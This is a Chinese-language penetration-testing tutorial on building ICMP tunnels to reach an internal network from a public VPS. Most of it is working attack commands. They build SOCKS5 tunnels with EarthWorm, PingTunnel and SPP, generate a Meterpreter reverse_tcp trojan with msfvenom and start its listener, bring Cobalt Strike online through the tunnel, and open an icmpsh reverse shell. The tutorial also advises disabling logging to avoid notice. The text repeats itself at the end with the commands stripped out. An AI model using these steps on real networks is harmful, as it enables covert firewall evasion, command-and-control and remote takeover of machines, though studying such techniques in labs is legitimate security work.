icmp隧道搭建
字数 1648 2025-08-09 18:44:06

ICMP隧道搭建技术详解

一、ICMP隧道技术概述

ICMP隧道技术是一种在网络层进行数据通信的隐蔽通道技术,主要用于在TCP协议被限制的环境中建立通信通道。ICMP协议作为网络层协议,通常不会被应用层防火墙拦截,这使得ICMP隧道成为内网渗透中的重要技术手段。

技术特点:

  • 基于ICMP协议(网络层协议)
  • 可绕过应用层防火墙检测
  • 可将TCP/UDP/SOCKS5流量伪装成ICMP流量
  • 适用于TCP出网受限但ICMP出网允许的环境

二、环境准备

1. 实验环境配置

网络拓扑:

  • 公网VPS(Kali):192.168.3.76
  • Web服务器(Windows Server 2019):192.168.3.88
  • 内网服务器(Windows Server 2008 R2):172.16.5.100

防火墙配置要求:

  • Web服务器仅允许80端口TCP入站
  • Web服务器允许ICMP协议出站
  • Web服务器可访问内网服务器所有端口
  • 内网服务器仅允许Web服务器IP访问

2. 工具准备

主要工具:

  • EarthWorm (EW):多平台转接通讯工具
  • PingTunnel:将TCP/UDP/SOCKS5流量伪装成ICMP流量
  • SPP:支持多种协议的正反向代理工具
  • icmpsh:基于ICMP的反向shell工具

三、ICMP隧道搭建方法

1. EW + PingTunnel组合建立SOCKS5隧道

步骤1:VPS端配置

# 启动EW监听
./ew_for_linux64 -s rcsocks -l 10080 -e 8898

# 启动PingTunnel服务端
./pingtunnel -type server

步骤2:Web服务器端配置

# 启动PingTunnel客户端
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:8898 -sock5 -1 -noprint 1 -nolog 1

# 启动EW客户端
ew.exe -s rssocks -d 127.0.0.1 -e 9999

验证:

  • 在本地配置SOCKS5代理:192.168.3.76:10080
  • 可通过代理访问内网服务器资源

2. SPP搭建SOCKS5隧道

步骤1:VPS端配置

./spp -type server -proto ricmp -listen 0.0.0.0

步骤2:Web服务器端配置

spp.exe -name "test" -type reverse_socks5_client -server 192.168.3.76 -fromaddr :8080 -proxyproto tcp -proto ricmp

验证:

  • 配置SOCKS5代理:192.168.3.76:8080
  • 可通过代理访问内网资源

四、通过ICMP隧道上线C2

1. MSF上线

步骤1:生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o ch4nge.exe

步骤2:VPS监听

msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.3.76; set lport 7777; exploit -j;"

步骤3:Web服务器启动隧道

pingtunnel.exe -type client -l 127.0.0.1:9999 -s 192.168.3.76 -t 192.168.3.76:7777 -tcp 1 -noprint 1 -nolog 1

步骤4:执行木马

  • 将ch4nge.exe上传到目标机器并执行

2. Cobalt Strike上线

步骤1:VPS端配置

./spp -type server -proto ricmp -listen 0.0.0.0

步骤2:Web服务器端配置

spp.exe -name "test" -type proxy_client -server 192.168.3.76 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1

步骤3:CS配置

  • 建立监听器:127.0.0.1:8082和192.168.3.76:8081
  • 生成ICMP隧道专用木马并执行

五、icmpsh反弹shell

1. 工具安装

git clone https://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1

2. 控制端执行

python icmpsh_m.py 192.168.3.76 192.168.3.88

3. 目标端执行

icmpsh.exe -t 192.168.3.76

六、ICMP隧道环境搭建

1. Web服务器防火墙配置

入站规则:

  1. 禁用所有已启用的入站规则
  2. 新建规则允许TCP 80端口入站
  3. 新建规则允许远程桌面连接(仅限本地IP)

出站规则:

  1. 禁用所有已启用的出站规则
  2. 新建规则允许ICMP协议出站
  3. 新建规则允许访问内网服务器(172.16.5.100)所有端口

2. 内网服务器防火墙配置

入站规则:

  1. 禁用所有已启用的入站规则
  2. 新建规则仅允许Web服务器IP(172.16.5.60)访问

七、注意事项

  1. 使用PingTunnel客户端时务必添加-noprint 1 -nolog 1参数,避免生成大量日志文件
  2. ICMP隧道要求两端能够互相ping通
  3. 隧道建立后,建议使用Wireshark抓包验证数据是否确实通过ICMP协议传输
  4. 在真实环境中,ICMP隧道可能会被网络层防火墙或IDS/IPS检测到异常ICMP流量

八、参考工具下载

  • EarthWorm: https://github.com/idlefire/ew
  • PingTunnel: https://github.com/esrrhs/pingtunnel
  • SPP: https://github.com/esrrhs/spp
  • icmpsh: https://github.com/bdamele/icmpsh

通过以上技术手段,可以在TCP出网受限但ICMP协议可用的环境中建立隐蔽通信通道,实现内网穿透、远程控制等操作。在实际渗透测试中,应根据目标网络环境选择最适合的ICMP隧道技术方案。

ICMP隧道搭建技术详解 一、ICMP隧道技术概述 ICMP隧道技术是一种在网络层进行数据通信的隐蔽通道技术,主要用于在TCP协议被限制的环境中建立通信通道。ICMP协议作为网络层协议,通常不会被应用层防火墙拦截,这使得ICMP隧道成为内网渗透中的重要技术手段。 技术特点: 基于ICMP协议(网络层协议) 可绕过应用层防火墙检测 可将TCP/UDP/SOCKS5流量伪装成ICMP流量 适用于TCP出网受限但ICMP出网允许的环境 二、环境准备 1. 实验环境配置 网络拓扑: 公网VPS(Kali):192.168.3.76 Web服务器(Windows Server 2019):192.168.3.88 内网服务器(Windows Server 2008 R2):172.16.5.100 防火墙配置要求: Web服务器仅允许80端口TCP入站 Web服务器允许ICMP协议出站 Web服务器可访问内网服务器所有端口 内网服务器仅允许Web服务器IP访问 2. 工具准备 主要工具: EarthWorm (EW):多平台转接通讯工具 PingTunnel:将TCP/UDP/SOCKS5流量伪装成ICMP流量 SPP:支持多种协议的正反向代理工具 icmpsh:基于ICMP的反向shell工具 三、ICMP隧道搭建方法 1. EW + PingTunnel组合建立SOCKS5隧道 步骤1:VPS端配置 步骤2:Web服务器端配置 验证: 在本地配置SOCKS5代理:192.168.3.76:10080 可通过代理访问内网服务器资源 2. SPP搭建SOCKS5隧道 步骤1:VPS端配置 步骤2:Web服务器端配置 验证: 配置SOCKS5代理:192.168.3.76:8080 可通过代理访问内网资源 四、通过ICMP隧道上线C2 1. MSF上线 步骤1:生成木马 步骤2:VPS监听 步骤3:Web服务器启动隧道 步骤4:执行木马 将ch4nge.exe上传到目标机器并执行 2. Cobalt Strike上线 步骤1:VPS端配置 步骤2:Web服务器端配置 步骤3:CS配置 建立监听器:127.0.0.1:8082和192.168.3.76:8081 生成ICMP隧道专用木马并执行 五、icmpsh反弹shell 1. 工具安装 2. 控制端执行 3. 目标端执行 六、ICMP隧道环境搭建 1. Web服务器防火墙配置 入站规则: 禁用所有已启用的入站规则 新建规则允许TCP 80端口入站 新建规则允许远程桌面连接(仅限本地IP) 出站规则: 禁用所有已启用的出站规则 新建规则允许ICMP协议出站 新建规则允许访问内网服务器(172.16.5.100)所有端口 2. 内网服务器防火墙配置 入站规则: 禁用所有已启用的入站规则 新建规则仅允许Web服务器IP(172.16.5.60)访问 七、注意事项 使用PingTunnel客户端时务必添加 -noprint 1 -nolog 1 参数,避免生成大量日志文件 ICMP隧道要求两端能够互相ping通 隧道建立后,建议使用Wireshark抓包验证数据是否确实通过ICMP协议传输 在真实环境中,ICMP隧道可能会被网络层防火墙或IDS/IPS检测到异常ICMP流量 八、参考工具下载 EarthWorm: https://github.com/idlefire/ew PingTunnel: https://github.com/esrrhs/pingtunnel SPP: https://github.com/esrrhs/spp icmpsh: https://github.com/bdamele/icmpsh 通过以上技术手段,可以在TCP出网受限但ICMP协议可用的环境中建立隐蔽通信通道,实现内网穿透、远程控制等操作。在实际渗透测试中,应根据目标网络环境选择最适合的ICMP隧道技术方案。